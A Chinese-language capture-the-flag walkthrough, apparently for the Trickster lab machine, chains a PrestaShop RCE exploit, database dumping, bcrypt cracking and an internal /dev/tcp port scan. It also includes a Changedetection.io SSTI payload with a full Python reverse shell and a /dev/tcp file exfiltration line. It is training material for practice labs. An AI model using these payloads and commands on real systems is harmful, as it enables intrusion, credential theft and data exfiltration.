Linux渗透实战之Trickster
字数 1035 2025-08-22 12:23:19
Linux渗透实战:Trickster靶机渗透教学文档
信息收集阶段
端口扫描
使用nmap进行初始扫描:
nmap -sT --min-rate 10000 -p- 10.10.11.34
发现开放端口:
- 22/tcp (SSH)
- 80/tcp (HTTP)
详细扫描:
nmap -sTVC -O -p22,80 10.10.11.34
获取服务信息:
- OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
- Apache httpd 2.4.52 (Ubuntu)
Web服务枚举
- 发现shop子域名:
ffuf -c -w /usr/share/wordlists/amass/subdomains-top1mil-110000.txt -u 'http://trickster.htb' -H "Host:FUZZ.trickster.htb" -fw 20
- 目录爆破:
feroxbuster --url http://shop.trickster.htb/ --status-codes '200,301,302'
发现.git泄露漏洞
初始访问
.git泄露利用
使用GitHack工具:
python3 GitHack.py http://shop.trickster.htb/.git/
发现admin路由:admin634ewutrx1jgitlooaj
CVE-2024-34716利用
PrestaShop 8.1.5存在RCE漏洞:
python3 exploit.py --url 'http://shop.trickster.htb/' --email 'Obito@qq.com' --local-ip 10.10.16.41 --admin-path 'admin634ewutrx1jgitlooaj'
获取www-data权限
权限提升
数据库枚举
- 查找配置文件:
find /var/www -name '*config*' 2>/dev/null
grep -R -i pass ./* 2>/dev/null
在parameters.php中发现数据库凭据
- 连接MySQL:
mysql -u ps_user -p prest@shop_o
- 使用mysqldump转储数据库:
mysqldump -u ps_user -p --all-databases > /tmp/backup.sql
获取用户凭据:
- adam@trickster.htb:\(2y\)10$kY2G39RBz9P0S48EuSobuOJba/HgmQ7ZtajfZZ3plVLWnaBbS4gei
- james@trickster.htb:\(2a\)04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm
- 使用hashcat破解:
hashcat '$2y$10$kY2G39RBz9P0S48EuSobuOJba/HgmQ7ZtajfZZ3plVLWnaBbS4gei' -m 3200 -a 0 /usr/share/wordlists/rockyou.txt
hashcat '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' -m 3200 -a 0 /usr/share/wordlists/rockyou.txt
成功破解james密码:alwaysandforever
内网枚举
- 发现Docker网络:
for i in {1..254}; do ping -c 1 -W 0.1 172.17.0.$i|grep from;done
- 端口扫描:
for i in {1..65535}; do (echo < /dev/tcp/172.17.0.2/$i) &>/dev/null && printf "\n[+] The open port is : %d\n" "$i" || printf ".";done
发现5000端口
- SSH端口转发:
ssh james@trickster.htb -L 0.0.0.0:5000:172.17.0.2:5000
CVE-2024-32651利用
Changedetection.io v0.45.20存在SSTI漏洞:
{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.41",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"read() }}
Adam凭证获取
- 发现备份文件:
cat changedetection-backup-20241224060547.zip > /dev/tcp/172.17.0.1/6666
- 解压br文件:
brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br
获取adam密码:adam_admin992
最终提权
PrusaSlicer 2.6.1 - Arbitrary code execution
使用自动化脚本:
https://github.com/suce0155/prusaslicer_exploit
修改exploit.sh中的IP和PORT后执行
总结
渗透路径:
- 通过.git泄露发现admin路由
- 利用PrestaShop 8.1.5的CVE-2024-34716获取初始shell
- 查找配置文件获取数据库凭据
- 转储数据库并破解用户hash
- 通过SSH端口转发访问内网服务
- 利用Changedetection.io的CVE-2024-32651获取容器root
- 从备份文件中获取adam凭据
- 最后利用PrusaSlicer漏洞获取主机root权限